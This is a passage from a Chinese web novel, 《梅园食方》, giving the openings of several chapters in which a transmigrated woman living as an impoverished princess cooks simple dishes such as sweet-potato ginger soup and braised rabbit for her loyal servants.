《梅园食方》 1. 霜降 《梅园食方》全本免费阅读 第一章梅花坞 九月三十，秋风渐紧，京城里行人、车马络绎不绝。城外十里，群山连绵，山野路旁多是枯黄的景象，仿佛杀尽百草。 牧童骑牛归家，口中哼着古老的唱词，“大火流兮……草虫鸣，繁霜降兮……草木零……”[1] 声音清亮，唱腔古朴，像在画境。 萧鸣笙便是在越来越淡的秋词里醒来的。 睁眼，便是一张圆乎乎的脸，眼珠子黑亮，只是，神智不大清明的模样。 见她醒没开口，圆脸女子也跟着眨巴了眼睛，二人就这样你眨一下，我眨一下。 萧鸣笙是外来之魂，只对视了几眼，便心虚转开了眼珠子，快速打量着四周。 她躺在木架床上，左右的纱幔上绣着花鸟图案，收着褶子，光线昏暗，也看不清是什么，像个蠢笨的野物。 这间屋子不小，离床不远就摆着张桌子，似乎是放着一个烛台，外头天色已经暗了，竖起的半截蜡烛有些可怜。 她想着动一动，奈何身上笨重得很，呼吸间，更是一股化不开的药气。 “阿草，郡主醒了吗？” 外头响起了一个不重的敲门声，声音低哑，像是个老妇人。 “还没呢……啊不不不，是醒了……”阿草后知后觉，马上又兴奋应着，这才要扶着萧鸣笙起来，“郡主你醒了怎么不开口说话啊？是不是要喝水？我扶你起来坐着喝。” 阿草的力气大得很，萧鸣笙还没使多少劲，便被薅了起来，身后是被垫了两个软枕。 郡主？ 萧鸣笙身上一软，险些跌回去。这个房间的规制，像是个郡主该有的么？莫不是天色昏暗，自己没看出什么门道来？ “呀，我这回用的力气小了？郡主不急，再来一回……”阿草不知她所想，又将她扶起靠着软枕。 外头的人也推了门进来，手里稳稳端着一碗药，近前来见她蹙眉不展，也苦心劝了几声，“郡主醒了便好，吃药罢，是郑御医新开的方子，该是更对症，吃了药，等到开春就好了。” 萧鸣笙只默默点头，也不轻易开口。她能听懂她们说的话，但自己是否能说，还待确认。万一露馅了——按着“郡主”的身份，总得要无数个谎言来圆，且再走一步看看。 这碗新药，也不知是加了什么东西，身体一向健康的人，没吃过中药，险恶一口呕出来，伺候的老妇人只是轻轻给她拍背，“良药苦口，想来是好东西。阿草，去灶房端把桂花糕端来，应该是熟了。” 萧鸣笙苦涩笑笑。这位颇具威严的妇人守着，自己别说是将药倒了，就是少吃一口都不行。 她一勺一勺舀动着，那股熏人的药气扩散得更加厉害。萧鸣笙忍着心头的不适，半探出身子，还没开始吃，便又泛起了恶心。 “嬷嬷，这药……” “郡主，良药苦口。” 嬷嬷试图再劝，门被猛烈的秋风一扫，吱呀一声便开了，乱作一团，直往屋子的每个角落狂扫。 萧鸣笙张开了嘴，才要说什么，便吃了一嘴的凉风，又剧烈咳嗽。 见状，嬷嬷马上放下药碗，快步去关门，还念叨着：“阿草也是，出去也不知将门带上，这要是受了凉……呸呸呸……” 而她身后，萧鸣笙咳嗽不已。一是真吸入了凉气，二来也是惊诧不已。方才，她说出的话，与她们是一样的。这发现，当真是又惊又喜。 莫名穿越来这儿，和土著们没有交流的障碍，便是极好的。其余的事，再看看吧。 而阿草也端来了糕饼，和嬷嬷说的一样，是还热乎的，散着丝丝甜香的，正是金秋的桂花糕。 萧鸣笙眼巴巴瞧着，饶是嬷嬷也于心不忍，请她先用一块。萧鸣笙也不敢露出怯来，小心扶着袖口拈了一块。 然而，嬷嬷才要去端热水来净手，瞧着又转身回去伺候着，干巴巴同主子说着话，“昨日郡主进城去，回来便病倒了。奴婢想着，是不是城里边的水土和这儿不同的缘故？” 萧鸣笙胡乱应了声。来时，正准备吃饭。眼下是饥肠辘辘，她小口咬着桂花糕，想象中的松软香甜都没有，异常怪异的口感，像是一团带着甜味的烂面糊，那甜，也不匀。这处，齁甜齁甜的，那儿又是个没味道的糊糊。 桂花糕，就是个寻常糕饼，并无技术要领，怎会有人将桂花糕做得这样难吃？ 她肚子就是再饿，也不是饿到能笑着吞下这块烂面糊的时候。可惜，她没有记忆，也不便开口说话，只努力将那口面糊含着，努努力吞下去，留心着嬷嬷的话。 阿草端着盘子，本来是跟着吞了吞口水，但见郡主面露难色，不禁噗嗤一笑。 嗯？萧鸣笙更不懂了。这是特意端了一盘难吃的糕饼来作弄自己吗？不说她的身份，古代的粮食异常珍贵，怎能如此浪费食物？ 阿草见郡主停了下来，赶忙是撇过头去，“卢妈妈，我就说了，桂花糕这种东西，还是别做了吧。揉个面团，做个汤面，也很香的。那糖冲了水，甜甜的，也好吃。” 卢妈妈这样被人下了面子，忘了方才的犹豫，也只是笑骂一声，“做了汤面，你能吃三大碗，可是要将郡主吃穷了。” “我是吃了三大碗，可我有力气，能把家里的活都干了。比养三人还省心的。” …… 二人你来我往说着家常话，像是上下级，倒也其乐融融。萧鸣笙松了口气，大抵也晓那位卢妈妈的手艺一般。 有了笑谈来下饭，那块面糊终是被囫囵吞了下去，肚子也不敢饿了。 东西是难吃了些，但里头搁的糖是实实在在的好东西，那股自内而外的虚弱，算稍稍缓解了。 萧鸣笙试图推了眼前这碗比面糊糊更可怕的药，“这一睡，我觉着好了不少，这药……要不就别……” 话未完，阿草先是笑出声来，收到卢妈妈警告的目光，才赶紧收了笑，再摆摆手，“郡主这话，说了好多回了，还没我说肚子不饿可信。” 阿草的肚皮也赏脸，立刻跟着主人的话音咕了一声。这下，卢妈妈也端不住笑了，打发了她出去，“好了好了，灶上不是还煮着红薯吗？去看看熟了没，拿去吃吧。” “好啊好啊……”阿草欢快起身走了，也不忘把桂花糕留下。 萧鸣笙接过盘子，也配合着笑笑。虽然，桂花糕是比红薯金贵，可她也想吃红薯。桂花糕——或许是需要一点点技术含量的，但是煮红薯，就只需要柴火和水了，这不能也搞砸了吧。 卢妈妈见郡主一直蹙着眉，便过来替阿草请罪，“郡主知道的，她性子就这样，也没多大心思，有她跟着照顾主子，奴婢也安心啊……” 外头秋风呼呼而过，烛火也跟着一闪。 伴着卢妈妈红着的眼眶和泪光，萧鸣笙的脑壳倏然疼了起来。方才还是空无一物的脑子，似乎多了好些不属于她的记忆。 漫天黄沙，刀光剑影里，战士们血流成河；冰天雪地中，半大的少女一次次摔倒在黄沙里，也坚持拖着一物…… 那是什么？ 萧鸣笙集中精力想看个仔细，脑子里的意识像是有灵性一般，躲着闪进了更深处，只余一片黑黢黢的空洞。 她晃了晃脑袋，想着将它倒一倒。 卢妈妈却是唬了一跳，“是飞虫入了耳？郡主别晃它，省得将它惹急了，跑更深的地方去，我去灶上取些香油来。” 说罢，人是飞快跑了，丝毫看不出上了岁数。 萧鸣笙折腾了半晌，也没什么成效。不多时，卢妈妈也回来了，空着手，并没有方才所说的香油，多的是局促不安。幸好萧鸣笙无暇细究，这才揭了过去。 两边的人，各自心虚，各自烦恼着。 伺候着主子吃完了药，卢妈妈退了出去，只说阿草在廊下，喊一声，便能听到。 萧鸣笙等了半晌，确定人是真的走了，才掀开被子起身。听说阿草去吃红薯，就她所知，红薯的传入，已经是相当晚了。 带着疑惑，她小心翼翼推开窗子，才一条小缝，便露出阿草带笑的眉眼来，“嘻嘻……郡主，你是不是也想吃红薯？” 手里举着的，是一个滚圆的红薯，微微裂开，露出里头的红瓤，品相上佳，远比屋里的桂花糕更勾人。 这位侍女，与卢妈妈仿佛都是忠仆，不过却是两种人。 阿草可想不了那么多，郡主想吃，这红薯又没有毒，偷摸吃半个，也无事的。 萧鸣笙不知原身是患了何病，医疗不好，这位郡主的境况似乎也不是很好，实在是不敢轻易造作，“我不吃，你自个儿吃便是。” 谁知，阿草已经轻车熟路替她剥了皮，见她不接，恍然道 2. 账册 《梅园食方》全本免费阅读 “大人？” 轮到阿草疑惑，歪着头看人，眼睛眨巴眨巴的。 萧鸣笙本就心虚，借故走两步去看旁的花。 谁知，阿草笑嘻嘻跟上，“往日郡主对大人不上心，也不让我们提。不过……咳咳……” “不过什么？” 这下，阿草是捂紧了嘴巴，一个劲摇头，一句话也不肯多说。 萧鸣笙不免有些失望。不为这吃了一半的瓜——想来，她惦记的螃蟹，定然是没有了，不然阿草怎能忍住不说？ 早起还没吃饭，肚子倏然饿得很，看旭日东升，竟是个会动的蛋黄。 朝食，卢妈妈端来一碗热腾腾的白米粥，另有一小碟的干菜，黑乎乎的，也看不出是什么。 昨日来时，她本就饿了大半天，第一顿饭只有一块桂花糕，还是个难吃的。是靠着那个热乎甜丝的红薯，才睡得安稳。今日再不好好吃一顿，没病她也要病倒了。 萧鸣笙心有余悸打量了，似乎没将米粥煮糊，气味也对。她也不客气，拿了调羹正要吃，忽而想起来，“嬷嬷只管去吃，我这儿不用人伺候。” “哎……好……”卢妈妈踟蹰了好久，也没将话说出，只满怀心事走了。 萧鸣笙也觉得奇怪，奈何腹中实在饥饿。她舀了半勺的白粥，轻轻吹着热气，熟悉的米香气直往鼻翼里钻，钻到五脏腑去。 光是这一口正常的米粥，足以抚慰肚子一半的饥饿。 她再夹了根酱菜，借着红日的光，瞧着像是某种菜梗，咬一口，极咸。再嚼两下，极咸咸。 古代的盐，不是个金贵物件么？做咸菜，也没必要搁这么多。 伴着疑惑，她再囫囵喝了两口白粥，几番下来，这碗八分满的粥，就被吃了个干净。 碗壁挂着的几粒米，都被刮了去。 萧鸣笙舒服吐了气，再抚了肚皮，似乎是能再吃一碗。她端着碗，走去灶房，想再添一添。 不料，听到了里头的对话。 “卢妈妈，午食，我能吃三个红薯吗？” “你可别光记着吃的，好好守着郡主才是要紧事。” “我一直陪着郡主的——”连昨夜的饭，都分给了郡主。她夜里没睡好，翻来覆去，起来灌了一大瓢水，才算是睡了过去。 卢妈妈上了年纪，操心的事多，也没睡死，自然是知道的，也不由暗暗叹息。阿草痴是痴了些，但也是一等一的忠心。 “也不知大哥几时回来？他要是能多带些白米回来就好了……不对不对，白米再多也难背。我想要多多的银票，最好再来两只螃蟹，郡主今早提到蟹来着……” “我的小祖宗呦，郡主的身子不比从前了，螃蟹是寒的，万万不能吃，你可别糊涂了。要吃了蟹，不光是我罚你，回头城里知道，指不定要如何降罪……” “哦……” 阿草漫不经心应着，手上不忘摇着蒲扇，将风炉的火烧得大些。可方才添的炭少，火苗已经过了，再要生火，不说费劲，也费功夫。“那下次能多放两块炭吗？回回要加炭，好麻烦的……” “小祖宗呦，你也不看看我们的炭还剩多少？去年就是由着你来煮药，将过冬的炭用了个七七八八，要不是……“ 后面的话，萧鸣笙没有听，院中不知几时出现了个人。 一个人高马大的汉子，穿的是靛蓝棉布衫。入了秋，也只是薄薄一层，勾勒出壮硕的身形。 萧鸣笙唬了一跳，但看他来去自如，该是自家人。脑子也突然蹦出个词来： 袁志。 “袁……” 她刚张了口，来人已经先向她跪下了，“属下回得迟了，请主子治罪。” “秋来地上凉，快起来吧。” 袁志也没多推辞，起身后也一直低着头，见主子还在风中，便上前将碗筷端了进去。 里头的人，也唬了一跳。不过是喜多于惊的。 “大哥你可算是回来了……”阿草当即是跳起，去看他的身后，空空如也，再探头去看看院子—— 秋风不留情扫过，花枝摇摇晃晃晃，她爱的雪海，晃得最是厉害，也不知能不能呆多久。但心里记挂着的那团雪，是掉了下来。 什么东西也没带回来吗？ 阿草又泄气坐回，听卢妈妈也关切问道：“这一回，可顺利？” “顺利的，”袁志将碗给了卢妈妈，也往锅里看了看，“米粥，还有么？” “我才在说阿草光顾着吃了，怎么你也惦记起郡主的米来了？没想到你回得早，我再熬一锅就是了……” 袁志想说的是，隐约看到郡主神色，像是要添饭的样子。可自郡主病后，饭量极小，也许是自己看错了。 他就没提，只是解释道：“今早你们吃红薯么？我跟着吃就是了，不必再另外麻烦妈妈了。” 这话一出，阿草反而是偷偷笑了。今早，她们可没吃呢。 卢妈妈说家里的米面不多了，左右红薯是有的，午食再多蒸几个就是了，今年看着似乎是个寒冬，不能不早做准备。 阿草不懂看天，只知道饿肚子很难受，看郡主吃饭，她也忍不住要吞口水的，所以才躲在灶房里生炉子。 袁志的余光扫到那口没有热气的锅，晓得卢妈妈的安排，也没说什么，将银票和单子递了过去，“今年拨给郡主的，比去年还少一些，说是秋收前落了雨。” “这……”卢妈妈面色也有些不好不好，舔了舔手指，将账本翻开。上面密密麻麻的字，愣是给看迷糊了。 “这字，方方正正的，像加了麻子的糕饼一样，可惜就是不能吃。”阿草也凑过去看了一眼，她是孩童心性，见着了什么，都要跟着凑凑热闹。 “你就光顾着吃了……”卢妈妈勉强笑了笑。面上的忧虑只多不少。她比阿草好些，是认几个字，平日散开了看，也认得。这一下子全挤在上头，头昏眼花。如何结算，就更算不明白。 “郡主身份尊贵，想来户部的人，也不敢贪这笔银子吧。”卢妈妈讪讪笑着。 袁志却是不认同。郡主身份尊贵，当年的封赏，听着很是丰厚。可惜主子病了多年，萧家又无儿郎主事，实在是招人惦记。 卢妈妈也看出了他的隐忧，说起了自己的打算，“这几年，我们不好和外头多往来……前日，正好大人家送来了菊花，我想着，大人读过书，想来是能看出这账本的好坏来。” 户部的人，做事也不含糊。荣安郡主的封地，远在武荣。上供的东西，真要被动手脚，自然是先是被武荣府的人卡了一手，再送到户部清点，以做察验。 然而，到底是察验，还是盘剥，萧家人心里是存疑的。原先将军只是个将军，日子也不至于这 3. 怪味红薯汤 《梅园食方》全本免费阅读 萧鸣笙刚张了口要解释，阿草已经蹦跳着走了。听说要削皮，也是一副意味深长的模样——郡主尊贵，就是生吃，也是要去皮的。 她三两下就处理干净了，举着还在渗透着汁液的红薯，“郡主，你吃吧。” 萧鸣笙委实是被逗乐了，让她对半切开，又照着一口大小切块，放在锅里煮。 二人做这些，是躲着卢妈妈的，仿佛两个小老鼠。 阿草的心智不如常人，觉着好玩得紧，“郡主，我觉着用白水煮了没味道，不如直接蒸了吃。” 萧鸣笙：“……” 她也觉着白水煮什么都是没味道的。萧鸣笙又在角落里找了一圈，寻了块姜，也让她切了放进去。“现在是秋天了，可是也有秋老虎一说。正午的日头又大，身上黏黏的，要发汗也发不出，等会儿吃一碗温热的红薯汤，能出出汗，也不怕着了凉。” 阿草不懂这些，但郡主吩咐做，她就做，“郡主不常来灶房，不想懂得也多，嘻嘻……” 关于吃的，她懂的是不少，可也为难家中没多少东西。于是乎，萧鸣笙又问起了未完的话，“你说地里丰收了，红薯都没人去收，这红薯不能做其它用处么？好好的粮食，也不能烂在地里啊！” “不知啊……” 阿草如她所言，饭量大，力气大，大略的事能说一说，再深就不懂了。 灶里的火，已慢慢生了起来，锅里的姜比红薯先报出味道。 阿草怕卢妈妈出来发现了，卖力用蒲扇扇风，风炉火大，顶得锅盖噗噗地响。 萧鸣笙掀开盖子搅拌几下，原该是要煮到像熟透的西瓜瓤将将要掉。 眼下这境况，煮熟便算了。萧鸣笙用筷子去试了试，刚好能插进红薯块里。 预备要出锅时，只见阿草捧着一个矮胖的土陶罐子，和宝贝一样捧着，“郡主，糖。” 有了糖，这锅生姜红薯汤滋味更足了。 刚才萧鸣笙本来是要煮四个人的分，但阿草拦了一手：“卢妈妈在房里清点东西，我们是偷偷煮的，要是给了她，她就知道了，一定会念叨我好久的。郡主你在这儿偷偷地吃，我去守着门。” 好个仗义的丫头。 不能煮一家子的份，两人份熟得快，当下，阿草也分了一碗，对着姜的辛辣味，她不大喜欢，闻了直皱眉，“嘻嘻……虽然郡主和卢妈妈一样，但是阿草也喜欢这碗怪味红薯汤。” 萧鸣笙怕烫，还没尝，就听到了阿草的评语，哑然失笑。 怪味红薯汤，好名字。 她先是舀了一勺汤，慢慢吹去热气，浅尝了一口，姜是辛辣之物，红薯本身是带着甜味，再加了糖，比红糖姜茶的味道好些。 红薯没煮烂，口感没昨晚水煮的软糯香甜，但配着汤来吃，既解了口腹之欲，也发了汗，实在是畅快。 她吃的舒坦，但阿草这边的情况就没那么好了。尝了第一口，眉头就皱得紧紧的。 刚刚闻了好久，一直觉着这个味道很熟悉，就是想不起来。 这一口，她突然就知道了——姜茶，加了糖的姜茶。冬日里肚子疼，卢妈妈就会煮一碗给她吃。 郡主的手艺——和卢妈妈是一样的…… 但是，作为忠仆，阿草对这碗红薯汤的态度和昨日那碟子烂糊的桂花糕是截然不同的，“郡主……这个怪味红薯，虽然吃着怪怪的，但……” “但？” 萧鸣笙等了许久，也没等出阿草的“但”，看着她那碗刚动的红薯汤，“要是你吃不惯……”她倒是能勉强再吃一碗。这是岭南口味，阿草是西北人，大抵是真吃不惯。 “惯的惯的，我可爱吃了……我就是怕烫……郡主你把碗放着，我等下一起洗……” 说罢，阿草又呼呼吹着热气，心里不住给自己打气：卢妈妈做过那么多难吃的东西都吃了，这可是加了糖了，区区生姜而已，吃了！ * 萧鸣笙想出去，掂量这身体的状况，便在廊下走走，消消食。日头躲进了云层，她便在小院里晒一晒。 每走半刻钟，总是要回去歇一歇。等半个时辰后，又出来走一走。 连卢妈妈去送药，看主子面上的潮红和薄汗，也是不忍心，哑着嗓子劝道：“主子一直在养病，想是闷了。奴婢想着，等开了春，让阿草带郡主去后山赏一赏梅花。” 开春，那得是大半年后了。 萧鸣笙也不反驳，老老实实将药接过喝了，问起了夕食的事，这回也不单是她自己，连带着他们三个人吃什么。 “当日灶房里剩下什么，奴婢们便吃什么……” 卢妈妈也是仗着萧鸣笙从不去看灶房的杂物，想着同从前一样糊弄过去。 萧鸣笙屏息，将那苦人的汤药一饮而尽，就皱着眉头，没有说话。 萧家是武将世家，她生来便是主子，往日是随和的，可不说话，上位者的威严便显露出来，卢妈妈下意识一哆嗦，悄悄抬眼去看郡主的神色。 这山坳，名为梅花坞，想来就不是个繁华的地。她不是衣来伸手饭来张口的人，但一人在古代过活，也难了些。 “嬷嬷，我知道你是为了我的身子好……今早你也将账本给我看了，里头就算是有些门道，光凭外行，也难看出来。如今我的封赏，每年有多少，懵然不知。我这郡主当得，再窝 4. 铁棍山药粥 《梅园食方》全本免费阅读 萧鸣笙无力笑笑，心说从前这家人的日子是怎么过，怎么会连山药也不大认得，难不成原身就这样吃了几年白粥配咸菜吗？ 好个可怜的娃，这场穿越游戏，要是对等穿越，那她家里有数不尽的干货，也有一锅梅子糖醋排骨在焖。 想着那锅排骨，萧鸣笙觉着肚子更饿了，转头看了看，“有没有肉？骨头也行。” 阿草也想吃肉，跟着吸溜了口水。“梅花坞没有集，最近的一个……我想想，我也好久没出去了。像是在城里头吧……” “后山林木也多，就没个兔子什么的吗？”萧鸣笙无奈苦笑，拿起根铁棍山药往外头走去。 “兔子……郡主，你拿棍子做什么？” 阿草紧紧跟着，看郡主撩了衣裳蹲在廊下，似乎是要给棍子削皮。 “这棍子，它叫铁棍山药。削了皮，用来煮粥，是个好东西。” 萧鸣笙一时也找不到可以削皮的工具，阿草心领神会，但是没走，只是喊了袁志出来了。 “大哥的刀呢？削皮。” “……” 莫说是萧鸣笙了，就连袁志也是叹气，看明白了，又快步走去灶房取了把刀出来。 他的架势拉满，像是要劈柴。 “就轻轻刮去，要不还是我来吧。” 袁志绷着个脸，他从前也是西北军的一员，剁个肉，劈个柴，自然是不在话下。 只是，这一家子，老的老，痴的痴，萧鸣笙瞧着那锃亮的刀光就不大放心。袁志是家里唯一一个儿郎了，别是为了削皮这种小事就将手伤了。 而且，她也得给自己往日下厨找找说辞。 “这两日歇了好觉，这脑子里，像是多了本菜谱，今日才一时兴起，想自己煮个粥看看这梦是不是真的。” 她说的认真，眼睛一眨不眨的，像是山里一泓清泉。 袁志赶忙是撇过头去，阿草却是信以为真，当即道：“郡主是梦到了这棍子的做法吗？” “嗯，就是没有肉，也能做的好吃。等下我们一人吃一碗。” “好——” 阿草应了一半，被袁志盯得吞下了另一半的话音，她想吃棍子粥，就得削皮。“刀给我，我来削。” 午后那一锅红薯，也是阿草帮忙削的皮，萧鸣笙本来是很放心，才要转身，一节白花花的东西急速飞了过来，就落在绣花鞋边上。 阿草削过红薯的皮，按理山药也是一样。 可是萧鸣笙忘了一事。红薯硬挺，山药是脆弹的，稍稍不得力，便能折了。 才第一下，就削去了老大一片，露出白花花的口子。那老长的棍子，也断了。 “唉……” 萧鸣笙比刚刚叹得更重了。山药断了，捡回来就是了，这一大块——捡回来也能用。 “啊……郡主，你听我解释……”阿草忙不迭去捡断了的棍子，“是刀太利了，你看我给红薯削皮就不会这样，一定是大哥把刀磨太利了。大哥，罚你午后去山里抓一只兔子回来给郡主吃。” 袁志在一旁看着，听阿草说抓兔子，自然是去征询郡主的意见。“后山，是有兔子，只是……” “只是什么？” 萧鸣笙也不明白，萧家可能是被克扣了封赏，但背靠大山，总是有山货的吧，怎么就将日子过成这样？ 袁志面色只是稍稍变幻，摇头又点头，“郡主想吃，我现在就去。” “离午食也近了，吃了再去吧……” “无事，属下尽早赶回。” 说罢，人是利落翻了院墙出去，留下萧鸣笙对着那道残影感叹：少侠，好功夫。 阿草也算是渐渐得了诀窍，就在二人说话的功夫，小心刮了半截出来。白花花的，像是冬雪搓成的条。 她呲溜了一下口水，动作麻利将剩下的也刮了。 萧鸣笙进去拿个木盆，就碰到了卢妈妈。后者大惊失色，赶忙劝道：“郡主想要什么，吩咐阿草做就是了。” “阿草在削皮，没闲着的。我就拿个盆，不费什么事，嬷嬷你只管忙你的。” 萧鸣笙也不给她机会反驳，端了盆就出去了。留下卢妈妈欲言又止，她怎么记得前些年，郡主是吃不得这东西的？ 阿草言语痴了些，动作是不含糊的，熟练之后就将山药刮了个干净。刮完就收到木盆里去，院子里是有一口小池子，她们用的水，就从山上接来。 竹子破开，将中间的竹节刮去，充当是管道，泉水就沿着竹管淅淅沥沥来了。 萧鸣笙试了试水温，临近中午，山泉还是温凉的，这日子不支棱起来，等到了冬日，还不知怎么熬呢。 萧家这日子，总是在令人眉头一皱和尽享山野情趣间。 灶房里，米粥已经由卢妈妈煮着了，萧鸣笙用木勺舀出看了看，米粒微微裂开，这时加入山药，正好。 将山药切成小块，放进锅里和红枣、米粥同煮。起先，还有一股腥气，再往后，随着小火炖煮，将山药的香气逼了出来。 阿草闻着，不停地吸溜口水，“这棍子，原是这么吃的啊……” 卢妈妈看她没出息的样，笑骂一声，“你个丫头，还不快去廊下收拾干净。” 阿草应承着出去了，萧鸣笙自己守着粥，也看着灶上的动静。锅里就蒸着红薯，想来卢妈妈他们就是光用红薯顶饱的。 等到了米粥熟了，袁志也还没回来。 这碗粥，是卢妈妈亲自下的米，再加了山药，也就一碗出头的份量。她亲自倒了，送到郡主房中。 萧鸣笙本想问问午食的事，看着卢妈妈鬓边的白发，话到嘴边又咽下了。 铁棍山药粥，是在卢妈妈的眼皮底下煮的，不像红薯汤怕被发现，自然是将山药煮得绵软。 伴着米粥，也该是养胃的佳品，可萧鸣笙尝了一口，是照着从前的方子做的，米香浓郁，山药粉糯，红枣甜香，可就像是缺了什么。 卢妈妈还候在一侧，颇是担忧望着郡主蹙起的眉头，“要不，往里头加一些糖？” “糖？不用不用，一点点盐巴调味，刚刚好。”萧鸣笙抬头便看到她揪心的模样，“嬷嬷去用饭吧，我 5. 红烧兔肉 《梅园食方》全本免费阅读 余下的事，阿草想让萧鸣笙口述，她跟着做。 但做饭饱含了无数适量、少许的琐碎环节，还是自己加调料稳妥些。 萧鸣笙让阿草去烧火。等着水开，将兔肉放进去汆烫后，中火烧锅，放油烧热，放入兔肉翻炒至水分炒干。 光是到这一步，阿草半站起来瞧了好几次，“郡主，要不，我们就这样吃吧。”她没忘记那碗怪味红薯汤。这水也滚了，肉也该熟了。 “才到哪里啊，蜀地食方的精髓还没做出来呢。”萧鸣笙又倒入开水，浸没兔肉。 阿草看得心怦怦跳，这回做岔了，可没有糖来救一救。 殊不知卢妈妈暗地里也相助一二了，送来了炖菜的卤料包，往常是放在冬日里用的。 萧鸣笙也没全用，只挑了桂皮、八角出来，和姜、辣椒一起放入烧开，好在家里也有酒、酱油、姜和糖，同盐一道放了进去。 有了这些大料，方才弥漫着的腥气，全然逃了个一干二净，屋里只有浓浓的肉香。 萧家要守孝，守得异常诚心，几乎不见荤腥。家里久也没这样的大菜了，就是守在外头的卢妈妈也不免是跟着吸了吸鼻子，再暗暗抹了眼角，“原先郡主和我说，只要清粥，其实是在照顾奴婢吧？” 袁志没附和，只是默默将宰杀过活物的院子多冲洗几回。山上来的泉水，要多少有多少。郡主养病，他也没有多余的东西能奉上，但他能做的，定是要做好。 而里头的两人，已经迷失在肉香里了。 炖肉，还得是乡下的铁锅，有着香料的加持，锅里的兔肉咕噜噜冒着红色泡泡，再被热气撑破，散着愈发浓郁的香气。 好不容易等到收汁，萧鸣笙擦了擦额角的汗。这具身体的底子，确实是不大好，就够一道菜。 出锅的小事，就交由了阿草来做。 “撒上葱段即可。” 阿草点头如捣蒜，将一指长的野葱放了进去，盛着就出锅了。 萧家没个像样的饭桌，就灶房中间一张大木头面，平日是放着杂物，收出来勉强可以当个餐桌。 萧鸣笙有些头晕，坐那儿喘着气，卢妈妈也将手头的事放一放，跟着过来看看。 一进门，就被这肉香惊住。 这一回，阿草端着盘子，也收敛了过分灿然的笑，比信徒还虔诚，一步一步走过来，就怕摔了。 红烧兔肉色泽鲜艳，配上翠绿的野葱，红绿之间，看着就让人食指大动。 阿草再馋，也不敢先吃了，又取了筷子来请郡主先尝。卢妈妈看着这油汪汪一盘，本是要拦的，但阿草努了努嘴，也不知是从哪里挤出的泪花，“郡主亲自做的兔子，我们不能就自己偷摸着分了吃了吧？” “是……郡主请尝一尝。”卢妈妈心道：阿草几时这样懂事过？ 萧鸣笙便在万众瞩目下挑了一块兔肉，才入口，就听得阿草巴巴问道：“郡主，好吃么？” “……嗯，好吃的。你们也去拿筷子，大家都尝一尝，要是都觉着好，以后我还做。” 口中的兔肉，似乎比她做过的红烧兔肉更鲜嫩多汁。白口吃着，有些许的辣，但是卢妈妈已经拿了几个冷去的红薯过来，午食剩下的，来配一配，夕食就省了。 袁志也被招呼着进来了，他是个汉子，是比妇孺更爱吃肉的，也就靠着从军的毅力，才没露出糗态来。 “大哥，你也吃啊……” 阿草是一口兔肉一口红薯，来不及嚼动就要去夹第二块，就被卢妈妈打了筷子。她不好意思抿了嘴，这才静心去感受兔肉的鲜美。 萧鸣笙尝了两块，就不再吃了，但见卢妈妈只是吃着红薯，也给她夹了一筷子。 “郡主……奴婢……”卢妈妈不停婉拒着。 “我头一回做这样正经的菜，也不知味道好不好，也请嬷嬷尝尝咸淡，有什么不好的，下回再改改。” “郡主的手艺，自然是极极好的……” “那嬷嬷就吃一口吧。” …… 肉已经是在碗里头了，卢妈妈再推，便是违逆主子心意了。手有些颤抖夹起了肉，收了汁，肉香味十足，比厨艺最好的厨娘做的还好，她不禁是红了眼眶。郡主也该是念着的，才会无师自通做这些…… 萧鸣笙唬了一跳，卢妈妈已经找好了说说辞，“吃得急，给呛住了……” “嗯，不急，慢慢吃……” 这萧家郡主，称号听着挺唬人，队伍其实也好带。 久没沾荤腥，萧鸣笙也不敢多吃，吃了两块过过瘾，起身去研究还没料理的山鸡。 她一走，屋里的几人才算是放开了肚皮去吃。 连卢妈妈也吃得眼睛眯了眯，阿草的动作快，已有个半饱，便趁机说道：“今日郡主的气色，比往日更好呢，郡主想做什么，自然都是对的……” “我能不知你想的是什么？”卢妈妈笑骂一声，看着见底的兔肉，“郡主想做饭，做奴婢的不拦着，但是，你也该管管嘴。你看看袁侍卫，稳重得多。” 袁志久没吃到这样的辣菜了，忍不住连吃了几口，连辣椒也没放过，眼泪险些流了下来，想再拿个红薯压压，又将手收回，站得端正平直。 阿草别的眼力见没有，这回却是通晓心意的，将那个最大的红薯塞他手里。 一家子吃了个饱足，残局自有卢妈妈去收拾，阿草端着药回去，请郡主吃。 萧鸣笙确实是累着了，也不敢再嫌弃药苦，一口气闷完，边歇着边盘算着如何料理那只山鸡。马上就入冬了，这一家子，也该好好补一补才是。 只是，山鸡还没开始料理，阿草已经白着脸从后山下来了。 * 阿草跑了多次茅房，就连自己也嫌弃着，不敢进院子去，就坐在石板上唉声叹气。 卢妈妈招呼她回家，萧鸣笙听得了动静，也出去看了看，“这是怎么了？” “郡主……”阿草要面皮，不好说出来。 卢妈妈替她答道：“这孩子没福分吃好东西，郡主不必担心，等会儿便好了。” 话没完，阿草已经捂着肚子，弓着腰又往茅房去了。 萧鸣笙看着也不忍，转眼间卢妈妈人也回去清点库房的东西，她只能自己去灶房倒一碗温水，又加了少许的盐巴。 等阿草再度出来，只见一碗水放在院墙上，她也是渴了，端起就喝，“大哥，你可真好……” 袁志从山上扛了柴回来，正垒着，听得这话，左右看了看，朝郡主的房间看了看，“是郡主赏的。” “啊……”阿草才觉着口中是咸的，一听是郡主倒的水，又觉着甜丝丝的，肚子本是胀胀的，坠坠的，也跟着缓和了不少。 久没 6. 山鸡粥 《梅园食方》全本免费阅读 李老三家的锅，连锅壁的几粒米花都被仔仔细细刮了下来。萧家的那一锅山鸡粥，也是如此。 卢妈妈本以为郡主是一个人吃的，结果分了四碗出来，虽也只有半碗。 “怎、怎么能和主子吃一样的？” 不说她不吃，连阿草也把头摇的厉害，袁志吃饭向来是最后一个来的。 午后他又去山上砍了柴回来，肚里的兔子肉，是不耐存的，这会儿，还真是有些饿了。 “进来吃粥啊，愣什么呢？”萧鸣笙没法说动里头的两人，便又探头出来，“对了，你吃兔头么？圆圆的兔脑壳，吃么？” 兔子的做法，萧鸣笙能一口气报出七八道来，但是麻辣兔头，确实要费一些功夫。 主要是费柴火。 而萧家护卫袁志，是砍柴的好手。 萧鸣笙没忘记院子里本来的柴火量，就在阿草跑茅房的功夫，他已经挑了好几担柴回来了。 谁家好人的护卫是去砍柴的？ 她不免是有些心虚。可兔头就那么丢了，未免有些可惜。 “主子……似乎不能吃辣的……”袁志也尽心提醒着。 谁知，萧鸣笙更是笑得同深山的狐狸似的，“是的呀，就是因为我不能吃辣，阿草又吃坏了肚子，就剩你一人能吃了，你要是敢吃脑壳……” 卢妈妈在后面拼命给他使眼色，袁志吸了口气，只垂下头去，“兔头，也是个食材，实在不好丢了，属下……” “能吃是吧，那好……” 萧鸣笙也松了口气，目光是落在院子的柴火堆上。 